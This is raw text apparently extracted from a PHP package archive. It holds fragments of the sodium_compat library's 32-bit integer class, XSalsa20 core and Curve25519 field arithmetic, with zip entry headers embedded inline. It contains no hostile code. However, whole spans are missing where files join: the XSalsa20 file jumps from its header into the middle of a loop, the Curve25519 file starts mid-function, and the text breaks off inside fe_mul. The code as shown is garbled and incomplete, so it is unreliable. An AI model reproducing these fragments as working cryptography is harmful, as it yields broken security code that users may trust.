0xffff); /** @var int $carry */ $carry = $tmp >> 16; /** @var int $tmp */ $tmp = ($this->limbs[0] << $c) | ($carry & 0xffff); $return->limbs[0] = (int) ($tmp & 0xffff); } return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public function shiftRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c >= 16) { $return->limbs = array( (int) ($this->overflow & 0xffff), (int) ($this->limbs[0]) ); $return->overflow = $this->overflow >> 16; return $return->shiftRight($c & 15); } if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftLeft(-$c); } else { if (!is_int($c)) { throw new TypeError(); } /** @var int $c */ // $return->limbs[0] = (int) (($this->limbs[0] >> $c) & 0xffff); $carryLeft = (int) ($this->overflow & ((1 << ($c + 1)) - 1)); $return->limbs[0] = (int) ((($this->limbs[0] >> $c) | ($carryLeft << (16 - $c))) & 0xffff); $carryRight = (int) ($this->limbs[0] & ((1 << ($c + 1)) - 1)); $return->limbs[1] = (int) ((($this->limbs[1] >> $c) | ($carryRight << (16 - $c))) & 0xffff); $return->overflow >>= $c; } return $return; } /** * Subtract a normal integer from an int32 object. * * @param int $int * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function subInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; /** @var int $tmp */ $tmp = $this->limbs[1] - ($int & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[1] = (int) ($tmp & 0xffff); /** @var int $tmp */ $tmp = $this->limbs[0] - (($int >> 16) & 0xffff) + $carry; $return->limbs[0] = (int) ($tmp & 0xffff); return $return; } /** * Subtract two int32 objects from each other * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function subInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; /** @var int $tmp */ $tmp = $this->limbs[1] - ($b->limbs[1] & 0xffff); /** @var int $carry */ $carry = $tmp >> 16; $return->limbs[1] = (int) ($tmp & 0xffff); /** @var int $tmp */ $tmp = $this->limbs[0] - ($b->limbs[0] & 0xffff) + $carry; $return->limbs[0] = (int) ($tmp & 0xffff); return $return; } /** * XOR this 32-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function xorInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] ^ $b->limbs[0]), (int) ($this->limbs[1] ^ $b->limbs[1]) ); return $return; } /** * @param int $signed * @return self * @throws SodiumException * @throws TypeError */ public static function fromInt($signed) { ParagonIE_Sodium_Core32_Util::declareScalarType($signed, 'int', 1);; /** @var int $signed */ $signed = (int) $signed; return new ParagonIE_Sodium_Core32_Int32( array( (int) (($signed >> 16) & 0xffff), (int) ($signed & 0xffff) ) ); } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) { throw new RangeException( 'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff); return $return; } /** * @param string $string * @return self * @throws SodiumException * @throws TypeError */ public static function fromReverseString($string) { ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1); $string = (string) $string; if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) { throw new RangeException( 'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.' ); } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8); $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff); $return->limbs[1] = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8); $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff); return $return; } /** * @return array */ public function toArray() { return array((int) ($this->limbs[0] << 16 | $this->limbs[1])); } /** * @return string * @throws TypeError */ public function toString() { return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff); } /** * @return int */ public function toInt() { return (int) ( (($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff) ); } /** * @return ParagonIE_Sodium_Core32_Int32 */ public function toInt32() { $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs[0] = (int) ($this->limbs[0] & 0xffff); $return->limbs[1] = (int) ($this->limbs[1] & 0xffff); $return->unsignedInt = $this->unsignedInt; $return->overflow = (int) ($this->overflow & 0x7fffffff); return $return; } /** * @return ParagonIE_Sodium_Core32_Int64 */ public function toInt64() { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; if ($this->unsignedInt) { $return->limbs[0] += (($this->overflow >> 16) & 0xffff); $return->limbs[1] += (($this->overflow) & 0xffff); } else { $neg = -(($this->limbs[0] >> 15) & 1); $return->limbs[0] = (int)($neg & 0xffff); $return->limbs[1] = (int)($neg & 0xffff); } $return->limbs[2] = (int) ($this->limbs[0] & 0xffff); $return->limbs[3] = (int) ($this->limbs[1] & 0xffff); return $return; } /** * @return string * @throws TypeError */ public function toReverseString() { return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) . ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff); } /** * @return string */ public function __toString() { try { return $this->toString(); } catch (TypeError $ex) { // PHP engine can't handle exceptions from __toString() return ''; } } } PK!F&bccsrc/Core32/XSalsa20.phpnu[ 0; $i -= 2) { $x4 = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7)); $x8 = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9)); $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13)); $x0 = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18)); $x9 = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7)); $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9)); $x1 = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13)); $x5 = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18)); $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7)); $x2 = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9)); $x6 = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13)); $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18)); $x3 = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7)); $x7 = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9)); $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13)); $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18)); $x1 = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7)); $x2 = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9)); $x3 = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13)); $x0 = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18)); $x6 = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7)); $x7 = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9)); $x4 = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13)); $x5 = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18)); $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7)); $x8 = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9)); $x9 = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13)); $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18)); $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7)); $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9)); $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13)); $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18)); } return $x0->toReverseString() . $x5->toReverseString() . $x10->toReverseString() . $x15->toReverseString() . $x6->toReverseString() . $x7->toReverseString() . $x8->toReverseString() . $x9->toReverseString(); } } PK!LTnnsrc/Core32/Curve25519.phpnu[addInt32($g[$i]); } /** @var array $arr */ return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($arr); } /** * Constant-time conditional move. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g * @param int $b * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_cmov( ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g, $b = 0 ) { /** @var array $h */ $h = array(); for ($i = 0; $i < 10; ++$i) { if (!($f[$i] instanceof ParagonIE_Sodium_Core32_Int32)) { throw new TypeError('Expected Int32'); } if (!($g[$i] instanceof ParagonIE_Sodium_Core32_Int32)) { throw new TypeError('Expected Int32'); } $h[$i] = $f[$i]->xorInt32( $f[$i]->xorInt32($g[$i])->mask($b) ); } /** @var array $h */ return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h); } /** * Create a copy of a field element. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe */ public static function fe_copy(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $h = clone $f; return $h; } /** * Give: 32-byte string. * Receive: A field element object to use for internal calculations. * * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws RangeException * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall */ public static function fe_frombytes($s) { if (self::strlen($s) !== 32) { throw new RangeException('Expected a 32-byte string.'); } /** @var ParagonIE_Sodium_Core32_Int32 $h0 */ $h0 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_4($s) ); /** @var ParagonIE_Sodium_Core32_Int32 $h1 */ $h1 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 4, 3)) << 6 ); /** @var ParagonIE_Sodium_Core32_Int32 $h2 */ $h2 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 7, 3)) << 5 ); /** @var ParagonIE_Sodium_Core32_Int32 $h3 */ $h3 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 10, 3)) << 3 ); /** @var ParagonIE_Sodium_Core32_Int32 $h4 */ $h4 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 13, 3)) << 2 ); /** @var ParagonIE_Sodium_Core32_Int32 $h5 */ $h5 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_4(self::substr($s, 16, 4)) ); /** @var ParagonIE_Sodium_Core32_Int32 $h6 */ $h6 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 20, 3)) << 7 ); /** @var ParagonIE_Sodium_Core32_Int32 $h7 */ $h7 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 23, 3)) << 5 ); /** @var ParagonIE_Sodium_Core32_Int32 $h8 */ $h8 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 26, 3)) << 4 ); /** @var ParagonIE_Sodium_Core32_Int32 $h9 */ $h9 = ParagonIE_Sodium_Core32_Int32::fromInt( (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2 ); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt32($carry9->mulInt(19, 5)); $h9 = $h9->subInt32($carry9->shiftLeft(25)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt32($carry1); $h1 = $h1->subInt32($carry1->shiftLeft(25)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt32($carry3); $h3 = $h3->subInt32($carry3->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt32($carry5); $h5 = $h5->subInt32($carry5->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt32($carry7); $h7 = $h7->subInt32($carry7->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt32($carry0); $h0 = $h0->subInt32($carry0->shiftLeft(26)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt32($carry2); $h2 = $h2->subInt32($carry2->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt32($carry4); $h4 = $h4->subInt32($carry4->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt32($carry6); $h6 = $h6->subInt32($carry6->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt32($carry8); $h8 = $h8->subInt32($carry8->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array($h0, $h1, $h2,$h3, $h4, $h5, $h6, $h7, $h8, $h9) ); } /** * Convert a field element to a byte string. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $h * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_tobytes(ParagonIE_Sodium_Core32_Curve25519_Fe $h) { /** * @var ParagonIE_Sodium_Core32_Int64[] $f * @var ParagonIE_Sodium_Core32_Int64 $q */ $f = array(); for ($i = 0; $i < 10; ++$i) { $f[$i] = $h[$i]->toInt64(); } $q = $f[9]->mulInt(19, 5)->addInt(1 << 14)->shiftRight(25) ->addInt64($f[0])->shiftRight(26) ->addInt64($f[1])->shiftRight(25) ->addInt64($f[2])->shiftRight(26) ->addInt64($f[3])->shiftRight(25) ->addInt64($f[4])->shiftRight(26) ->addInt64($f[5])->shiftRight(25) ->addInt64($f[6])->shiftRight(26) ->addInt64($f[7])->shiftRight(25) ->addInt64($f[8])->shiftRight(26) ->addInt64($f[9])->shiftRight(25); $f[0] = $f[0]->addInt64($q->mulInt(19, 5)); $carry0 = $f[0]->shiftRight(26); $f[1] = $f[1]->addInt64($carry0); $f[0] = $f[0]->subInt64($carry0->shiftLeft(26)); $carry1 = $f[1]->shiftRight(25); $f[2] = $f[2]->addInt64($carry1); $f[1] = $f[1]->subInt64($carry1->shiftLeft(25)); $carry2 = $f[2]->shiftRight(26); $f[3] = $f[3]->addInt64($carry2); $f[2] = $f[2]->subInt64($carry2->shiftLeft(26)); $carry3 = $f[3]->shiftRight(25); $f[4] = $f[4]->addInt64($carry3); $f[3] = $f[3]->subInt64($carry3->shiftLeft(25)); $carry4 = $f[4]->shiftRight(26); $f[5] = $f[5]->addInt64($carry4); $f[4] = $f[4]->subInt64($carry4->shiftLeft(26)); $carry5 = $f[5]->shiftRight(25); $f[6] = $f[6]->addInt64($carry5); $f[5] = $f[5]->subInt64($carry5->shiftLeft(25)); $carry6 = $f[6]->shiftRight(26); $f[7] = $f[7]->addInt64($carry6); $f[6] = $f[6]->subInt64($carry6->shiftLeft(26)); $carry7 = $f[7]->shiftRight(25); $f[8] = $f[8]->addInt64($carry7); $f[7] = $f[7]->subInt64($carry7->shiftLeft(25)); $carry8 = $f[8]->shiftRight(26); $f[9] = $f[9]->addInt64($carry8); $f[8] = $f[8]->subInt64($carry8->shiftLeft(26)); $carry9 = $f[9]->shiftRight(25); $f[9] = $f[9]->subInt64($carry9->shiftLeft(25)); $h0 = $f[0]->toInt32()->toInt(); $h1 = $f[1]->toInt32()->toInt(); $h2 = $f[2]->toInt32()->toInt(); $h3 = $f[3]->toInt32()->toInt(); $h4 = $f[4]->toInt32()->toInt(); $h5 = $f[5]->toInt32()->toInt(); $h6 = $f[6]->toInt32()->toInt(); $h7 = $f[7]->toInt32()->toInt(); $h8 = $f[8]->toInt32()->toInt(); $h9 = $f[9]->toInt32()->toInt(); /** * @var array */ $s = array( (int) (($h0 >> 0) & 0xff), (int) (($h0 >> 8) & 0xff), (int) (($h0 >> 16) & 0xff), (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff), (int) (($h1 >> 6) & 0xff), (int) (($h1 >> 14) & 0xff), (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff), (int) (($h2 >> 5) & 0xff), (int) (($h2 >> 13) & 0xff), (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff), (int) (($h3 >> 3) & 0xff), (int) (($h3 >> 11) & 0xff), (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff), (int) (($h4 >> 2) & 0xff), (int) (($h4 >> 10) & 0xff), (int) (($h4 >> 18) & 0xff), (int) (($h5 >> 0) & 0xff), (int) (($h5 >> 8) & 0xff), (int) (($h5 >> 16) & 0xff), (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff), (int) (($h6 >> 7) & 0xff), (int) (($h6 >> 15) & 0xff), (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff), (int) (($h7 >> 5) & 0xff), (int) (($h7 >> 13) & 0xff), (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff), (int) (($h8 >> 4) & 0xff), (int) (($h8 >> 12) & 0xff), (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff), (int) (($h9 >> 2) & 0xff), (int) (($h9 >> 10) & 0xff), (int) (($h9 >> 18) & 0xff) ); return self::intArrayToString($s); } /** * Is a field element negative? (1 = yes, 0 = no. Used in calculations.) * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return int * @throws SodiumException * @throws TypeError */ public static function fe_isnegative(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $str = self::fe_tobytes($f); return (int) (self::chrToInt($str[0]) & 1); } /** * Returns 0 if this field element results in all NUL bytes. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return bool * @throws SodiumException * @throws TypeError */ public static function fe_isnonzero(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { static $zero; if ($zero === null) { $zero = str_repeat("\x00", 32); } $str = self::fe_tobytes($f); /** @var string $zero */ return !self::verify_32($str, $zero); } /** * Multiply two field elements * * h = f * g * * @internal You should not use this directly from another application * * @security Is multiplication a source of timing leaks? If so, can we do * anything to prevent that from happening? * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function fe_mul( ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g ) { /** * @var ParagonIE_Sodium_Core32_Int32[] $f * @var ParagonIE_Sodium_Core32_Int32[] $g * @var ParagonIE_Sodium_Core32_Int64 $f0 * @var ParagonIE_Sodium_Core32_Int64 $f1 * @var ParagonIE_Sodium_Core32_Int64 $f2 * @var ParagonIE_Sodium_Core32_Int64 $f3 * @var ParagonIE_Sodium_Core32_Int64 $f4 * @var ParagonIE_Sodium_Core32_Int64 $f5 * @var ParagonIE_Sodium_Core32_Int64 $f6 * @var ParagonIE_Sodium_Core32_Int64 $f7 * @var ParagonIE_Sodium_Core32_Int64 $f8 * @var ParagonIE_Sodium_Core32_Int64 $f9 * @var ParagonIE_Sodium_Core32_Int64 $g0 * @var ParagonIE_Sodium_Core32_Int64 $g1 * @var ParagonIE_Sodium_Core32_Int64 $g2 * @var ParagonIE_Sodium_Core32_Int64 $g3 * @var ParagonIE_Sodium_Core32_Int64 $g4 * @var ParagonIE_Sodium_Core32_Int64 $g5 * @var ParagonIE_Sodium_Core32_Int64 $g6 * @var ParagonIE_Sodium_Core32_Int64 $g7 * @var ParagonIE_Sodium_Core32_Int64 $g8 * @var ParagonIE_Sodium_Core32_Int64 $g9 */ $f0 = $f[0]->toInt64(); $f1 = $f[1]->toInt64(); $f2 = $f[2]->toInt64(); $f3 = $f[3]->toInt64(); $f4 = $f[4]->toInt64(); $f5 = $f[5]->toInt64(); $f6 = $f[6]->toInt64(); $f7 = $f[7]->toInt64(); $f8 = $f[8]->toInt64(); $f9 = $f[9]->toInt64(); $g0 = $g[0]->toInt64(); $g1 = $g[1]->toInt64(); $g2 = $g[2]->toInt64(); $g3 = $g[3]->toInt64(); $g4 = $g[4]->toInt64(); $g5 = $g[5]->toInt64(); $g6 = $g[6]->toInt64(); $g7 = $g[7]->toInt64(); $g8 = $g[8]->toInt64(); $g9 = $g[9]->toInt64(); $g1_19 = $g1->mulInt(19, 5); /* 2^4 <= 19 <= 2^5, but we only want 5 bits */ $g2_19 = $g2->mulInt(19, 5); $g3_19 = $g3->mulInt(19, 5); $g4_19 = $g4->mulInt(19, 5); $g5_19 = $g5->mulInt(19, 5); $g6_19 = $g6->mulInt(19, 5); $g7_19 = $g7->mulInt(19, 5); $g8_19 = $g8->mulInt(19, 5); $g9_19 = $g9->mulInt(19, 5); $f1_2 = $f1->shiftLeft(1); $f3_2 = $f3->shiftLeft(1); $f5_2 = $f5->shiftLeft(1); $f7_2 = $f7->shiftLeft(1); $f9_2 = $f9->shiftLeft(1); $f0g0 = $f0->mulInt64($g0, 27); $f0g1 = $f0->mulInt64($g1, 27); $f0g2 = $f0->mulInt64($g2, 27); $f0g3 = $f0->mulInt64($g3, 27); $f0g4 = $f0->mulInt64($g4, 27); $f0g5 = $f0->mulInt64($g5, 27); $f0g6 = $f0->mulInt64($g6, 27); $f0g7 = $f0->mulInt64($g7, 27); $f0g8 = $f0->mulInt64($g8, 27); $f0g9 = $f0->mulInt64($g9, 27); $f1g0 = $f1->mulInt64($g0, 27); $f1g1_2 = $f1_2->mulInt64($g1, 27); $f1g2 = $f1->mulInt64($g2, 27); $f1g3_2 = $f1_2->mulInt64($g3, 27); $f1g4 = $f1->mulInt64($g4, 30); $f1g5_2 = $f1_2->mulInt64($g5, 30); $f1g6 = $f1->mulInt64($g6, 30); $f1g7_2 = $f1_2->mulInt64($g7, 30); $f1g8 = $f1->mulInt64($g8, 30); $f1g9_38 = $g9_19->mulInt64($f1_2, 30); $f2g0 = $f2->mulInt64($g0, 30); $f2g1 = $f2->mulInt64($g1, 29); $f2g2 = $f2->mulInt64($g2, 30); $f2g3 = $f2->mulInt64($g3, 29); $f2g4 = $f2->mulInt64($g4, 30); $f2g5 = $f2->mulInt64($g5, 29); $f2g6 = $f2->mulInt64($g6, 30); $f2g7 = $f2->mulInt64($g7, 29); $f2g8_19 = $g8_19->mulInt64($f2, 30); $f2g9_19 = $g9_19->mulInt64($f2, 30); $f3g0 = $f3->mulInt64($g0, 30); $f3g1_2 = $f3_2->mulInt64($g1, 30); $f3g2 = $f3->mulInt64($g2, 30); $f3g3_2 = $f3_2->mulInt64($g3, 30); $f3g4 = $f3->mulInt64($g4, 30); $f3g5_2 = $f3_2->mulInt64($g5, 30); $f3g6 = $f3->mulInt64($g6, 30); $f3g7_38 = $g7_19->mulInt64($f3_2, 30); $f3g8_19 = $g8_19->mulInt64($f3, 30); $f3g9_38 = $g9_19->mulInt64($f3_2, 30); $f4g0 = $f4->mulInt64($g0, 30); $f4g1 = $f4->mulInt64($g1, 30); $f4g2 = $f4->mulInt64($g2, 30); $f4g3 = $f4->mulInt64($g3, 30); $f4g4 = $f4->mulInt64($g4, 30); $f4g5 = $f4->mulInt64($g5, 30); $f4g6_19 = $g6_19->mulInt64($f4, 30); $f4g7_19 = $g7_19->mulInt64($f4, 30); $f4g8_19 = $g8_19->mulInt64($f4, 30); $f4g9_19 = $g9_19->mulInt64($f4, 30); $f5g0 = $f5->mulInt64($g0, 30); $f5g1_2 = $f5_2->mulInt64($g1, 30); $f5g2 = $f5->mulInt64($g2, 30); $f5g3_2 = $f5_2->mulInt64($g3, 30); $f5g4 = $f5->mulInt64($g4, 30); $f5g5_38 = $g5_19->mulInt64($f5_2, 30); $f5g6_19 = $g6_19->mulInt64($f5, 30); $f5g7_38 = $g7_19->mulInt64($f5_2, 30); $f5g8_19 = $g8_19->mulInt64($f5, 30); $f5g9_38 = $g9_19->mulInt64($f5_2, 30); $f6g0 = $f6->mulInt64($g0, 30); $f6g1 = $f6->mulInt64($g1, 30); $f6g2 = $f6->mulInt64($g2, 30); $f6g3 = $f6->mulInt64($g3, 30); $f6g4_19 = $g4_19->mulInt64($f6, 30); $f6g5_19 = $g5_19->mulInt64($f6, 30); $f6g6_19 = $g6_19->mulInt64($f6, 30); $f6g7_19 = $g7_19->mulInt64($f6, 30); $f6g8_19 = $g8_19->mulInt64($f6, 30); $f6g9_19 = $g9_19->mulInt64($f6, 30); $f7g0 = $f7->mulInt64($g0, 30); $f7g1_2 = $g1->mulInt64($f7_2, 30); $f7g2 = $f7->mulInt64($g2, 30); $f7g3_38 = $g3_19->mulInt64($f7_2, 30); $f7g4_19 = $g4_19->mulInt64($f7, 30); $f7g5_38 = $g5_19->mulInt64($f7_2, 30); $f7g6_19 = $g6_19->mulInt64($f7, 30); $f7g7_38 = $g7_19->mulInt64($f7_2, 30); $f7g8_19 = $g8_19->mulInt64($f7, 30); $f7g9_38 = $g9_19->mulInt64($f7_2, 30); $f8g0 = $f8->mulInt64($g0, 30); $f8g1 = $f8->mulInt64($g1, 29); $f8g2_19 = $g2_19->mulInt64($f8, 30); $f8g3_19 = $g3_19->mulInt64($f8, 30); $f8g4_19 = $g4_19->mulInt64($f8, 30); $f8g5_19 = $g5_19->mulInt64($f8, 30); $f8g6_19 = $g6_19->mulInt64($f8, 30); $f8g7_19 = $g7_19->mulInt64($f8, 30); $f8g8_19 = $g8_19->mulInt64($f8, 30); $f8g9_19 = $g9_19->mulInt64($f8, 30); $f9g0 = $f9->mulInt64($g0, 30); $f9g1_38 = $g1_19->mulInt64($f9_2, 30); $f9g2_19 = $g2_19->mulInt64($f9, 30); $f9g3_38 = $g3_19->mulInt64($f9_2, 30); $f9g4_19 = $g4_19->mulInt64($f9, 30); $f9g5_38 = $g5_19->mulInt64($f9_2, 30); $f9g6_19 = $g6_19->mulInt64($f9, 30); $f9g7_38 = $g7_19->mulInt64($f9_2, 30); $f9g8_19 = $g8_19->mulInt64($f9, 30); $f9g9_38 = $g9_19->mulInt64($f9_2, 30); // $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38; $h0 = $f0g0->addInt64($f1g9_38)->addInt64($f2g8_19)->addInt64($f3g7_38) ->addInt64($f4g6_19)->addInt64($f5g5_38)->addInt64($f6g4_19) ->addInt64($f7g3_38)->addInt64($f8g2_19)->addInt64($f9g1_38); // $h1 = $f0g1 + $f1g0 + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19; $h1 = $f0g1->addInt64($f1g0)->addInt64($f2g9_19)->addInt64($f3g8_19) ->addInt64($f4g7_19)->addInt64($f5g6_19)->addInt64($f6g5_19) ->addInt64($f7g4_19)->addInt64($f8g3_19)->addInt64($f9g2_19); // $h2 = $f0g2 + $f1g1_2 + $f2g0 + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38; $h2 = $f0g2->addInt64($f1g1_2)->addInt64($f2g0)->addInt64($f3g9_38) ->addInt64($f4g8_19)->addInt64($f5g7_38)->addInt64($f6g6_19) ->addInt64($f7g5_38)->addInt64($f8g4_19)->addInt64($f9g3_38); // $h3 = $f0g3 + $f1g2 + $f2g1 + $f3g0 + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19; $h3 = $f0g3->addInt64($f1g2)->addInt64($f2g1)->addInt64($f3g0) ->addInt64($f4g9_19)->addInt64($f5g8_19)->addInt64($f6g7_19) ->addInt64($f7g6_19)->addInt64($f8g5_19)->addInt64($f9g4_19); // $h4 = $f0g4 + $f1g3_2 + $f2g2 + $f3g1_2 + $f4g0 + 